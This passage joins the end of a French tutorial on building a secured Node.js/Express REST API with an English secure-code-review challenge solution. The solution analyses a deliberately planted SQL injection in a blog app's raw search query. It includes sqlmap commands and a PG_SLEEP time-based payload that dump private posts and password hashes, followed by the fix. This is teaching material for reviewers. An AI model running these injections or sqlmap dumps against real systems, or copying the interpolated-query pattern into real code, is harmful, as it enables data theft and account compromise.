timingSafeEqual compare en temps constant. Ce coût est voulu, mais il se paie : chaque inscription ou connexion mobilise environ 128 Mio de mémoire. De plus, crypto.scrypt() s'exécute dans le pool de threads de libuv, limité à 4 threads par défaut selon la documentation de UV_THREADPOOL_SIZE, un pool partagé avec les accès disque. D'où la limitation du nombre de tentatives ci-dessous, et une variable UV_THREADPOOL_SIZE à augmenter au lancement du processus si les connexions sont nombreuses. Signer et vérifier les jetons Le middleware src/middleware/auth.js crée les jetons et protège les routes : import jwt from 'jsonwebtoken'; const optionsJwt = { issuer: 'api-taches', audience: 'api-taches' }; export function creerJeton(utilisateurId) { return jwt.sign({}, process.env.JWT_SECRET, { ...optionsJwt, algorithm: 'HS256', expiresIn: '15m', subject: String(utilisateurId), }); } export function exigerAuth(req, res, next) { const [type, jeton] = (req.get('Authorization') ?? '').split(' '); let charge; try { if (type !== 'Bearer' || !jeton) throw new Error('jeton absent'); charge = jwt.verify(jeton, process.env.JWT_SECRET, { ...optionsJwt, algorithms: ['HS256'] }); } catch { res.set('WWW-Authenticate', 'Bearer'); return res.status(401).json({ erreur: 'Authentification requise ou jeton expiré' }); } req.utilisateurId = Number(charge.sub); next(); } Chaque option répond à l'OWASP. La fiche REST Security interdit les jetons non signés (alg: none) et demande de vérifier iss, aud et exp. La fiche JSON Web Token met en garde contre les algorithmes non fixés et les secrets faibles, qu'un attaquant peut deviner hors ligne. La RFC 7518 (section 3.2) impose une clé d'au moins 256 bits pour HS256, ce que vérifie server.js au démarrage. D'où algorithms: ['HS256'], le secret aléatoire de 32 octets et une durée de vie courte (15 minutes) qui limite l'usage d'un jeton volé. Selon le README de jsonwebtoken, jwt.verify sans rappel renvoie la charge utile si signature, expiration, audience et émetteur sont valides, et lève une erreur sinon. Limiter les tentatives La page sécurité en production d'Express recommande de bloquer les tentatives d'authentification répétées, avec le paquet rate-limiter-flexible. Voici src/middleware/limiteur.js, qui accepte 5 tentatives par minute et par adresse IP : import { RateLimiterMemory } from 'rate-limiter-flexible'; const limiteur = new RateLimiterMemory({ points: 5, duration: 60 }); export async function limiterAuth(req, res, next) { try { await limiteur.consume(req.ip); } catch (refus) { if (refus instanceof Error) throw refus; res.set('Retry-After', String(Math.ceil(refus.msBeforeNext / 1000))); return res.status(429).json({ erreur: 'Trop de tentatives, réessayez plus tard' }); } next(); } Selon le README de rate-limiter-flexible, consume() rejette sa promesse avec un objet contenant msBeforeNext quand les points sont épuisés, du moins « s'il n'y a pas d'erreur » (notre traduction). Le code traite donc à part une éventuelle Error, renvoyée au gestionnaire d'erreurs, et utilise l'objet pour l'en-tête Retry-After du code 429. Derrière un proxy inverse, req.ip n'est la vraie adresse du client que si TRUST_PROXY est réglé (étape 2). Le compteur vit en mémoire : avec plusieurs instances, il faut un stockage partagé comme Redis, que le paquet prend en charge. Les routes d'inscription et de connexion Reste src/routes/auth.js : import { Router } from 'express'; import { db } from '../db.js'; import { hacher, verifier } from '../motdepasse.js'; import { creerJeton } from '../middleware/auth.js'; import { limiterAuth } from '../middleware/limiteur.js'; import { exigerJson, valider } from '../middleware/validation.js'; import { schemaIdentifiants } from '../schemas.js'; export const routerAuth = Router(); routerAuth.use(limiterAuth); routerAuth.post('/inscription', exigerJson, valider(schemaIdentifiants), async (req, res) => { const { email, motDePasse } = req.donnees; const hash = await hacher(motDePasse); // Aucun await entre la vérification et l'insertion : rien ne peut s'intercaler. if (db.prepare('SELECT id FROM utilisateurs WHERE email = ?').get(email)) { return res.status(409).json({ erreur: 'Un compte existe déjà pour cet e-mail' }); } const { lastInsertRowid } = db .prepare('INSERT INTO utilisateurs (email, hash) VALUES (?, ?)') .run(email, hash); res.status(201).json({ id: Number(lastInsertRowid), email }); }); routerAuth.post('/connexion', exigerJson, valider(schemaIdentifiants), async (req, res) => { const { email, motDePasse } = req.donnees; const utilisateur = db.prepare('SELECT id, hash FROM utilisateurs WHERE email = ?').get(email); if (!utilisateur || !(await verifier(motDePasse, utilisateur.hash))) { res.set('WWW-Authenticate', 'Bearer'); return res.status(401).json({ erreur: 'Identifiants invalides' }); } res.json({ jeton: creerJeton(utilisateur.id) }); }); L'ordre de l'inscription compte. Le hachage, asynchrone, a lieu avant la vérification de l'e-mail : la lecture et l'insertion s'enchaînent alors sans await, et comme node:sqlite est synchrone, deux inscriptions simultanées au même e-mail ne peuvent pas passer toutes deux la vérification dans un même processus. Avec plusieurs processus, la contrainte UNIQUE reste le dernier rempart et produirait un 500. Essayer l'API à la main Lancez npm run dev, puis enchaînez ces appels avec curl. Les réponses en commentaire sont celles que le code ci-dessus est censé produire ; nous ne les avons pas relevées en exécutant le code. curl -i -X POST http://localhost:3000/api/v1/auth/inscription \ -H "Content-Type: application/json" \ -d '{"email":"ada@example.com","motDePasse":"une phrase de passe longue"}' # Attendu : 201 Created, {"id":1,"email":"ada@example.com"} curl -s -X POST http://localhost:3000/api/v1/auth/connexion \ -H "Content-Type: application/json" \ -d '{"email":"ada@example.com","motDePasse":"une phrase de passe longue"}' # Attendu (corps) : {"jeton":"eyJ..."} curl -i -X POST http://localhost:3000/api/v1/taches \ -H "Content-Type: application/json" \ -H "Authorization: Bearer COLLEZ_LE_JETON_ICI" \ -d '{"titre":"Écrire les tests"}' # Attendu : 201 Created, en-tête Location: /api/v1/taches/1, # {"id":1,"titre":"Écrire les tests","terminee":false} Ce code a encore des limites assumées, à traiter avant la production : - La révocation. Un JWT reste valide jusqu'à son expiration. L'OWASP propose une liste de jetons révoqués pour la déconnexion anticipée. - Le blocage par compte. Express conseille de compter aussi les échecs par nom d'utilisateur, pas seulement par adresse IP ; notre limiteur ne le fait pas. - L'énumération des comptes. Le 409 de l'inscription et le temps de réponse de la connexion révèlent si un e-mail est inscrit. - Le navigateur. Pour un front-end web, une session en cookie httpOnly et secure évite d'exposer le jeton au JavaScript. Pour vos utilisateurs finaux, les passkeys sont une alternative sérieuse aux mots de passe. Pour le contexte des menaces, voyez notre panorama des cyberattaques les plus fréquentes. --- Étape 8 : tester l'API avec le lanceur de Node.js Le lanceur de tests node:test est stable depuis Node.js 20 selon sa documentation. Avec fetch, intégré lui aussi, il suffit pour des tests d'intégration sans Jest ni Supertest. Voici test/api.test.js : import { test, before, after } from 'node:test'; import assert from 'node:assert/strict'; import { once } from 'node:events'; process.env.DB_PATH = ':memory:'; process.env.JWT_SECRET = 'cle-de-test-uniquement-0123456789abcdef0123456789'; const { app } = await import('../src/app.js'); let serveur; let base; before(async () => { serveur = app.listen(0); await once(serveur, 'listening'); base = `http://127.0.0.1:${serveur.address().port}/api/v1`; }); after(() => serveur.close()); function envoyer(chemin, corps, jeton) { const headers = { 'Content-Type': 'application/json' }; if (jeton) headers.Authorization = `Bearer ${jeton}`; return fetch(`${base}${chemin}`, { method: 'POST', headers, body: JSON.stringify(corps) }); } test('refuse la liste des tâches sans jeton', async () => { const reponse = await fetch(`${base}/taches`); assert.equal(reponse.status, 401); }); test('inscrit, connecte puis crée une tâche', async () => { const identifiants = { email: 'ada@example.com', motDePasse: 'une phrase de passe longue' }; assert.equal((await envoyer('/auth/inscription', identifiants)).status, 201); const { jeton } = await (await envoyer('/auth/connexion', identifiants)).json(); const creation = await envoyer('/taches', { titre: 'Écrire les tests' }, jeton); assert.equal(creation.status, 201); assert.deepEqual(await creation.json(), { id: 1, titre: 'Écrire les tests', terminee: false }); const invalide = await envoyer('/taches', { titre: '' }, jeton); assert.equal(invalide.status, 422); }); L'import dynamique de app.js est volontaire : les import statiques s'exécutent avant le reste du module, donc avant que DB_PATH ne désigne une base en mémoire. app.listen(0) choisit un port libre. Lancez le tout avec npm test. Postman ou Insomnia restent utiles pour explorer l'API à la main, mais ne remplacent pas des tests rejoués à chaque modification. --- Étape 9 : préparer le déploiement Une API REST Node.js prête pour la production repose sur quelques réglages, détaillés par la page performances en production d'Express : - NODE_ENV=production. Les messages d'erreur deviennent moins bavards. La page affirme que ce seul réglage triplerait les performances, une mesure de l'éditeur. - Un redémarrage automatique. Un gestionnaire de processus ou un service systemd relance l'application. - Un proxy inverse. Nginx ou HAProxy gère TLS, la compression et la répartition de charge. - Des journaux adaptés. console.log est synchrone vers un terminal ou un fichier : la page conseille une bibliothèque comme Pino. Le HTTPS est obligatoire : l'OWASP exige que les services REST n'exposent que des points d'accès HTTPS, pour protéger mots de passe et jetons. Lancez aussi npm audit régulièrement, comme le rappelle la page sécurité d'Express. Pour l'hébergement, le conteneur est la voie la plus portable : voyez notre guide Docker pour débutants, puis notre comparatif de l'hébergement cloud pour développeurs. Automatisez ensuite tests et mises en ligne avec notre guide pour automatiser ses déploiements en CI/CD. Attention, la base SQLite est un fichier : sur une plateforme dont le disque est effacé à chaque déploiement, vos données disparaissent. Vérifiez la persistance du disque ou passez à PostgreSQL. Et sur plusieurs instances, les processus ne partagent pas leur mémoire, rappelle Express : voyez alors notre introduction à Kubernetes. --- Ce que nous n'avons pas pu vérifier Ce tutoriel est une synthèse documentaire. Restent incertains : - L'exécution du code. Il suit la documentation officielle de chaque outil au 24 octobre 2026, mais nous ne l'avons ni exécuté ni testé. Signalez-nous toute erreur. - Le passage de Node.js 26 en LTS. Le 28 octobre 2026 est la date du calendrier officiel ; elle peut glisser. - Le détail d'Express 5.3.0. Nous avons relevé la version et sa date, pas l'ensemble de ses changements. - Le facteur trois de NODE_ENV=production. C'est une affirmation d'Express, sans protocole publié sur la page. - Les réponses attendues des appels curl. Elles sont déduites du code, pas relevées lors d'une exécution. - Les réglages du limiteur. Cinq tentatives par minute est un exemple : ni Express ni l'OWASP ne fixent de seuil, et nous n'avons pas mesuré l'effet de scrypt sur un serveur réel. - Des chiffres d'usage d'Express plus récents. L'enquête Stack Overflow 2026 ne classe pas les frameworks web. - Les offres gratuites des hébergeurs. La version précédente en citait ; non revérifiées, elles ont été retirées. --- Questions fréquentes Quelle version de Node.js utiliser pour une API REST en 2026 ? Une version LTS. Au 24 octobre 2026, c'est Node.js 24, en version 24.22.1, selon la page des versions de Node.js. Node.js 26 doit devenir LTS le 28 octobre 2026. Node.js 20 est en fin de vie : ne démarrez pas de projet dessus. Faut-il passer d'Express 4 à Express 5 ? Pour un nouveau projet, oui : Express 5 est la version servie par défaut sur npm et gère seule les erreurs des fonctions async. Pour un projet existant, le guide de migration liste les ruptures, surtout la syntaxe des chemins, et propose un outil de migration automatique. Quelle différence entre REST et GraphQL ? Une API REST expose une URL par ressource et s'appuie sur les verbes et codes de statut HTTP (voir le glossaire de MDN). GraphQL passe en général par un point d'accès unique où le client décrit les données voulues. REST reste plus simple pour débuter. Faut-il utiliser TypeScript pour une API Express ? Ce n'est pas obligatoire pour apprendre, mais utile dès que le projet grandit. TypeScript est utilisé par 43,8 % des répondants de l'enquête Stack Overflow 2026. Avec Zod, vous pouvez déjà dériver les types de vos schémas, ce qui facilite le passage. --- À propos de l'auteur Abdelilah Ourti est ingénieur IA et architecte logiciel. Il conçoit et déploie des applications web et des systèmes d'IA, et publie sur NeurauTech des guides et des comparatifs destinés aux développeurs francophones. Ses autres articles sont réunis sur sa page auteur. Méthode. Synthèse documentaire fondée exclusivement sur des sources publiques consultées le 24 octobre 2026 : documentation de Node.js (versions 24 et 26) et son calendrier de versions, documentation et notes de version d'Express, documentations de Zod, jsonwebtoken, Helmet et body-parser, registre npm, fiches de l'OWASP, références HTTP de MDN, enquêtes Stack Overflow 2025 et 2026. Le code n'a pas été exécuté pour cet article. Aucun lien n'est affilié et aucune relation commerciale ne lie l'auteur aux éditeurs mentionnés. Une erreur ou une commande périmée ? Écrivez à contact@neurautech.com : l'article sera corrigé et la date de mise à jour modifiée. Dernière mise à jour : 24 octobre 2026. Première publication : 25 mai 2026. Image : Markus Spiske (Unsplash License).

  5. The Secure Code Review Challenge — Solution #7: Blogger (One Raw Query Is All It Takes) Blogger gets almost everything right: every edit and delete checks who owns the post, the database layer uses the Knex query builder (so values are sent as bound parameters), Nunjucks escapes everything it renders, passwords are hashed with bcrypt, and the session cookie is SameSite=Lax. It still lets anyone on the internet, without an account, read every private post and dump the users table. The way in is the search box. This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit (with sqlmap doing the heavy lifting), and the fix. Every code snippet you need is included, so you don't have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context. 🎥 Prefer video? The full walkthrough is on YouTube: {% embed youtu.be %} --- What is the Secure Code Review Challenge? It's a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you'd review a real codebase, then compare your reasoning with the published solution. Every solution follows the same 7-step methodology: 1. 🗺️ Understand the application: architecture and main user stories 2. 🚪 Identify entry points: where user input comes in 3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …) 4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection) 5. 🔍 Review mitigations: which threats are actually closed, and which aren't 6. 🧪 Exploit: prove the unmitigated one is real 7. 🛠️ Fix: a primary fix plus defense-in-depth 📌 Repo: mohamed-osama-aboelkheir/the-secure-code-review-challenge 📌 Challenge #7 source: github.com/mohamed-osama-aboelkheir/the-secure-co… > ⚠️ Spoiler warning: if you want to try Blogger yourself first, stop here and come back later. --- 1. 🗺️ Understanding the application Blogger is a small multi-user blogging platform. You sign up, write posts, mark some of them private, and search everything you're allowed to see. - Backend: Express.js 5 (Node) - Frontend: server-rendered HTML pages using the Nunjucks templating engine, served by the same Express app - Database: PostgreSQL, accessed through the Knex query builder - Auth: JWTs, sent either as a bearer header (JSON API) or in an httpOnly cookie (web UI) The README makes one security promise, and it explicitly includes search: > "A private post is visible, editable, and deletable only by its author — everyone else should be denied." > "A full-text search feature ranks posts by relevance. Results must respect privacy: you should see public posts plus your own private ones, and nobody else's private posts." The whole review comes down to whether that promise holds. A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: what happens when it starts, and what happens when a user registers, reads, writes and searches posts. 🚀 Story 1: what happens when the app starts docker-compose.yml starts two containers: a stock postgres:16 and the app. Note the database user, because it matters later. The official postgres image creates POSTGRES_USER as a superuser, and the app connects as that same user: postgres: image: postgres:16 environment: POSTGRES_DB: blogger_db POSTGRES_USER: blogger_user POSTGRES_PASSWORD: blogger_password ... app: build: . environment: DATABASE_URL: postgres://blogger_user:blogger_password@postgres:5432/blogger_db docker-compose.yml#L1-L35 The Dockerfile installs the dependencies and runs node app.js. In app.js, the app configures Nunjucks with autoescaping on (an XSS defense we'll come back to), registers the body and cookie parsers, and mounts three routers: const env = nunjucks.configure(viewsPath, { autoescape: true, express: app, noCache: process.env.NODE_ENV !== 'production' }); ... app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.use(cookieParser()); app.use('/', optionalAuth, pagesRoutes); app.use('/api/auth', authRoutes); app.use('/api/posts', optionalAuth, postsRoutes); app.js#L22-L37 The pages and the posts API both sit behind optionalAuth. That makes sense, because anonymous visitors can still read public posts. The middleware reads a JWT from the Authorization header or the token cookie, verifies it, loads the user from the database and sets req.user. If there's no valid token, it just moves on and leaves req.user empty: const optionalAuth = async (req, res, next) => { ... let token = null; const authHeader = req.headers.authorization; if (authHeader && authHeader.startsWith('Bearer ')) { token = authHeader.slice(7); } else if (req.cookies && req.cookies.token) { token = req.cookies.token; } if (!token) return next(); try { const decoded = jwt.verify(token, secret); const user = await db.findUserById(decoded.userId); if (user) { req.user = { id: user.id, username: user.username, email: user.email }; } } catch (_) {} next(); }; src/middleware/auth.js#L52-L76 So authentication is decided per handler, not by the middleware: every route that needs a logged-in user has to check req.user itself. All database access goes through one class, DatabaseStore in src/store/database.js, built on Knex. Both the JSON API and the HTML pages call the same store. The README calls them "the same data seen two ways". 🔄 Story 2: register → read → write → search Register and log in. Registration hashes the password with bcrypt (cost 10), creates the user and issues a JWT: const saltRounds = 10; const passwordHash = await bcrypt.hash(password, saltRounds); const user = await db.createUser(username, email, passwordHash); ... const token = issueToken(user); if (isWebForm(req)) { res.cookie('token', token, cookieOptions); return res.redirect('/my-posts'); } src/routes/auth.js#L58-L72 When the request comes from the web form, the token goes into a cookie with these options: const cookieOptions = { httpOnly: true, maxAge: 7 * 24 * 60 * 60 * 1000, path: '/', sameSite: 'lax' }; src/routes/auth.js#L21-L26 Read the feed. The feed query is built with the Knex builder, and the privacy rule ("public, or mine") is part of the WHERE clause: async getFeedPosts(userId, limit = 50) { const q = knex('posts as p') .join('users as u', 'p.user_id', 'u.id') .orderBy('p.created_at', 'desc') .limit(limit) .select('p.*', 'u.username as author_username'); if (userId) { q.where((builder) => { builder.where('p.is_private', false).orWhere('p.user_id', userId); }); } else { q.where('p.is_private', false); } ... } src/store/database.js#L66-L81 Read a single post. This one fetches the post by ID first, then checks privacy on the result: const post = await db.getPostById(req.params.id); if (!post) return res.status(404).json({ error: 'Post not found' }); if (post.isPrivate && (!req.user || req.user.id !== post.userId)) { return res.status(403).json({ error: 'Access denied' }); } src/routes/posts.js#L49-L53 Write, edit, delete. Every mutating handler follows the same pattern: require a login, load the post, compare owners: router.patch('/:id', async (req, res) => { ... if (!req.user) return res.status(401).json({ error: 'Authentication required' }); ... const existing = await db.getPostById(req.params.id); if (!existing) return res.status(404).json({ error: 'Post not found' }); if (existing.userId !== req.user.id) { return res.status(403).json({ error: 'Access denied' }); } src/routes/posts.js#L78-L86 …and the store scopes the write by owner a second time: const updated = await knex('posts') .where({ id: postId, user_id: userId }) .update({ ...data, updated_at: knex.fn.now() }) src/store/database.js#L101-L110 Search. The search route takes q from the query string and passes it to the store, along with the user ID if someone is logged in. No login is required: router.get('/search', async (req, res) => { ... const q = req.query.q; const userId = req.user ? req.user.id : null; const posts = await db.searchPosts(q, userId); res.json({ posts }); src/routes/posts.js#L33-L39 The web UI has the same thing at GET /search (pages.js#L48-L59). searchPosts uses PostgreSQL full-text search (to_tsvector, plainto_tsquery, ts_rank) to rank results by relevance. These functions aren't first-class in the Knex builder, so this is the only query in the store that's written by hand and passed to knex.raw. We'll look at it closely in step 4/5. 🧠 The key observation from step 1 Every query in the app goes through the Knex builder except one: getFeedPosts → knex('posts').where(...) builder ✔ getPostById → knex('posts').where(...) builder ✔ updatePost → knex('posts').where(...) builder ✔ deletePost → knex('posts').where(...) builder ✔ searchPosts → knex.raw(`...`) hand-written SQL ⚠️ Knex keeps you safe from SQL injection only as long as values go through it as bindings. The one place the developer stepped outside the builder is the place to slow down. --- 2. 🚪 Entry points Auth API - POST /api/auth/register: public, takes username, email, password, web - POST /api/auth/login: public, takes username, password, web Posts API - GET /api/posts/feed: optional auth, no other input - GET /api/posts/mine: login required, no other input - GET /api/posts/search?q=: optional auth, takes q - GET /api/posts/:id: optional auth (private posts → owner only), takes id - POST /api/posts: login required, takes title, body, is_private - PATCH /api/posts/:id: owner only, takes id, title, body, is_private - DELETE /api/posts/:id: owner only, takes id Web UI - GET /, GET /my-posts, GET /login, GET /register, GET /logout: an error query parameter on login/register - GET /search?q=: optional auth, takes q - GET /posts/new, GET /posts/:id, GET /posts/:id/edit, GET /posts/:id/delete: take id - POST /posts, POST /posts/:id, POST /posts/:id/delete: form fields title, body, is_private On every request: the Authorization header and the token cookie. 3. 🎯 Dangerous sinks - S1: SQL queries built with the Knex query builder → SQL injection. Fed from usernames, emails, post fields, :id and the JWT's userId. - S2: raw SQL passed to knex.raw (full-text search) → SQL injection. Fed from q. - S3: HTML rendering with Nunjucks → XSS. Fed from post titles and bodies, usernames, the search term and the error query parameter. - S4: redirects (/posts/${post.id}, /register?error=…) → open redirect. --- 4 & 5. 🧩 Threat model & 🔍 mitigation review 🔓 Business logic Missing authentication on mutating routes ✅. Since optionalAuth never blocks, each handler has to check for itself. Every POST, PATCH and DELETE on /api/posts starts with if (!req.user) return 401 (posts.js#L63, #L80, #L103), and every mutating page handler redirects to /login. IDOR on edit and delete ✅. Every handler compares existing.userId !== req.user.id before acting, and the store scopes the write with .where({ id: postId, user_id: userId }) too. That's two layers of defense. Private posts leaking through reads ✅ (on paper). There are three ways to read posts, and each one enforces "public, or mine": - Single post: fetched by ID, then checked on the result (post.isPrivate && req.user.id !== post.userId → 403). - Feed: the privacy rule is in the Knex builder's WHERE. - Search: the hand-written SQL has the same rule, WHERE (p.is_private = false OR p.user_id = ?). Keep this one in mind: the rule is only as strong as the SQL string it lives in. Mass assignment ✅. Can I create or edit a post so it looks like someone else wrote it? Only if user_id can come from the request. It can't: create and update copy only title, body and is_private from the body, and the owner always comes from req.user.id: const { title, body, is_private: isPrivate } = req.body; const updates = {}; if (title !== undefined) updates.title = title; if (body !== undefined) updates.body = body; if (isPrivate !== undefined) updates.is_private = isPrivate; src/routes/posts.js#L87-L91 CSRF ✅. The web UI uses cookie auth and plain HTML form POSTs with no CSRF token. The control here is the cookie's sameSite: 'lax': per MDN, the browser doesn't send a Lax cookie on cross-site POSTs, so a form forged on another site arrives unauthenticated. That's good enough in modern browsers, with the caveat that SameSite works per site, so a sibling subdomain isn't stopped (OWASP treats it as defense in depth). JWT and password weaknesses ✅. Tokens are signed and verified with the secret. With jsonwebtoken 9.x, unsigned alg: none tokens are refused by default, and the HMAC secret can't be swapped for a public key (v9 migration notes). The user is reloaded from the database on every request, and passwords are hashed with bcrypt. 💉 Source-to-sink S3, XSS ✅. Every value reaches the templates through {{ … }}, and autoescape: true makes Nunjucks HTML-escape & < > " '. That covers both element content (<p>{{ post.body }}</p>) and the quoted attribute in the search box (value="{{ query }}"). No template uses the | safe filter to turn escaping off. S4, open redirect ✅. An open redirect needs the destination to come from user input. Every redirect here goes to a hard-coded relative path (/login, /my-posts, /posts/<id>). The only user-controlled part is a post ID, which has to exist and pass the owner check first, and since posts.id is an integer column, //evil.com fails in Postgres before the redirect is ever reached. S1, SQL injection through the Knex builder ✅. .where('p.id', postId), .insert({...}), .update({...}): the builder sends every value as a bound parameter, never as SQL text. S2, SQL injection in the raw full-text search query ❌. Here's the query: async searchPosts(query, userId) { if (!query || typeof query !== 'string') { return this.getPublicPosts(20); } const uid = userId || null; const sql = ` SELECT p.*, u.username AS author_username FROM posts p JOIN users u ON p.user_id = u.id WHERE (p.is_private = false OR p.user_id = ?) AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}') ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC LIMIT 50 `; const result = await knex.raw(sql, [uid]); ... } src/store/database.js#L117-L134 Look at the two values in it: - The user ID is a ? placeholder, passed to knex.raw in the bindings array. That's safe. - The search term is pasted in with a JavaScript template literal, '${query}', twice. JavaScript substitutes it before Knex ever sees the string, so to knex.raw it's indistinguishable from SQL the developer wrote. Knex's raw docs are clear that only ? bindings are escaped. The only check on q is typeof query !== 'string', which stops arrays and objects but not quotes. And the privacy rule (p.is_private = false OR p.user_id = ?) is in the same SQL string, so anyone who can inject SQL there can override it. > 💡 Reviewer's lesson: a safe library protects only the queries that go through it. Hunt for the escape hatches (raw, whereRaw, orderByRaw), and in each one check that every value is a binding, not just the one that looks like it was done right. Unusual features, like full-text or vector search, are exactly where developers step off the safe path. --- 6. 🧪 Exploitation Why the classic payload fails The textbook test is x') OR 1=1 --. Here it returns a 500: $ curl -s -G http://localhost:3000/api/posts/search --data-urlencode "q=x') OR 1=1 --" {"error":"Internal server error"} The app log shows why. The term lands in two places. The payload closes the first one cleanly, but the -- comment in the second one swallows the closing brackets of the ORDER BY: ORDER BY ts_rank(to_tsvector(...), plainto_tsquery('english', 'x') OR 1=1 --')) DESC LIMIT 50 - syntax error at or near "LIMIT" A 500 doesn't mean "not exploitable". It means the payload has to be valid SQL in both places. You don't need to be an expert at building SQL injection payloads to get there, because you can automate it. The setup A victim, Alice, has a public post and a private one. Bob has a weak password: B=http://localhost:3000/api curl -s -X POST $B/auth/register -H Content-Type:application/json \ -d '{"username":"alice","email":"alice@example.com","password":"alicepass123"}' A=$(curl -s -X POST $B/auth/login -H Content-Type:application/json \ -d '{"username":"alice","password":"alicepass123"}' | jq -r .token) curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \ -d '{"title":"Hello world","body":"My first public post on Blogger."}' curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \ -d '{"title":"Acquisition plans","body":"Secret: we are buying Initech next quarter.","is_private":true}' curl -s -X POST $B/auth/register -H Content-Type:application/json \ -d '{"username":"bob","email":"bob@example.com","password":"password"}' Control: the private post is protected everywhere else: $ curl -s $B/posts/2 {"error":"Access denied"} $ curl -s -G $B/posts/search --data-urlencode "q=acquisition" {"posts":[]} Every command below runs without any token or cookie. The attacker doesn't need an account. Step 1: let sqlmap find a payload that works sqlmap tries hundreds of payloads until one works: $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 --is-dba ... [10:20:49] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be SQL injectable ... [10:20:55] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable ... Parameter: q (GET) Type: time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: q=1'||(SELECT (CHR(89)||CHR(114)||CHR(84)||CHR(66)) WHERE 3661=3661 AND 7927=(SELECT 7927 FROM PG_SLEEP(1)))||' --- back-end DBMS: PostgreSQL current user is DBA: True [10:21:08] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 584 times What the options do: - -u "…/search?q=1": the target URL, with a normal value for the parameter - -p q: test only the q parameter - --level=5 --risk=3: try sqlmap's full set of payloads, including the heavier ones - --dbms=PostgreSQL: skip payloads for other databases (we know it's Postgres from docker-compose.yml) - --batch: accept the default answer to every prompt - --time-sec 1: how long the database sleeps for a "yes" (the default is 5) - --is-dba: check whether the database user is a superuser How to read the output: - "might not be SQL injectable": sqlmap's quick first check looks for a database error in the page and finds none, because the app hides errors behind a generic 500. A manual tester could stop here. sqlmap keeps going. - 584 × 500 errors: most payloads break the SQL, partly because the term lands twice. - The payload that works doesn't break out of the string. It glues a sub-query onto it with Postgres's || (string concatenation), so the quotes stay balanced and it's valid SQL in both places. The sub-query makes the database sleep when a condition is true. - Time-based blind: the search results never visibly change, so sqlmap asks yes/no questions ("is the first letter of the first username a?") and times each response. A 1-second delay means yes. It's slow, but it's fully automatic. (PortSwigger explains the technique.) - current user is DBA: True: the app connects as the superuser the postgres image created, so the injection has full database privileges. If you want to understand how payloads like these are built, PayloadsAllTheThings' PostgreSQL injection page is a good reference. Step 2: read Alice's private post $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 \ --dump -D public -T posts -C title,body --where "is_private=true" ... Database: public Table: posts +-------------------+---------------------------------------------+ | title | body | +-------------------+---------------------------------------------+ | Acquisition plans | Secret: we are buying Initech next quarter. | +-------------------+---------------------------------------------+ Step 3: dump the users table $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 \ --dump -D public -T users -C username,password_hash ... +----------+--------------------------------------------------------------+ | username | password_hash | +----------+--------------------------------------------------------------+ | alice | $2b$10$b8z56oJRF405TWLN.HiFQuG1LnkzyUOpCJ9rxbWzsj80y81l6rn0K | | bob | $2b$10$/J2pPyfEzeISVD3fbQ77IutnM6iYAtQLb.ot6ugiSSehKaNMj4Tme | +----------+--------------------------------------------------------------+ sqlmap also offers a dictionary attack on the hashes it dumps. Bob's weak password (password) falls straight away. Alice's isn't in the wordlist, so her hash holds: bcrypt buys time, but only for passwords that aren't common. Impact: anyone on the internet, with no account, can read every private post, every username, email and password hash, and anything else in the database. Because the connection is a superuser, superuser-only functions like pg_read_file are available to the attacker too. Classification: SQL Injection, CWE-89, leading to a bypass of the privacy rule (CWE-639-style impact) and exposure of the users table. --- 7. 🛠️ The fix Primary fix: bind the search term instead of interpolating it. Replace both '${query}' with ? and pass the term in the bindings array, once for each placeholder: const sql = ` SELECT p.*, u.username AS author_username FROM posts p JOIN users u ON p.user_id = u.id WHERE (p.is_private = false OR p.user_id = ?) - AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}') - ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC + AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?) + ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC LIMIT 50 `; - const result = await knex.raw(sql, [uid]); + const result = await knex.raw(sql, [uid, query, query]); With the fix, sqlmap's sleep payload becomes plain search text and returns instantly: "hello" -> [{"id":1,"title":"Hello world"}] (63 ms) "1'||(SELECT 'x' FROM PG_SLEEP(3))||'" -> [] (1 ms) "acquisition" -> [] (1 ms) (anonymous caller: the private post stays hidden) plainto_tsquery is the right function for user text, because it parses free text and ignores operators. Once the value is bound, there's nothing left to inject. Even better: keep the query in the builder and only drop to raw SQL for the full-text expression, with bindings. The privacy filter then looks exactly like the feed's: knex('posts as p') .join('users as u', 'p.user_id', 'u.id') .where((b) => { b.where('p.is_private', false); if (uid) b.orWhere('p.user_id', uid); }) .whereRaw(`to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)`, [query]) .orderByRaw(`ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC`, [query]) .limit(50) .select('p.*', 'u.username as author_username'); Defense-in-depth (do these too): 1. Use a least-privilege database role. Don't connect as the superuser. An app role with only SELECT/INSERT/UPDATE/DELETE on users and posts limits what any injection can do. 2. Enforce privacy in the database 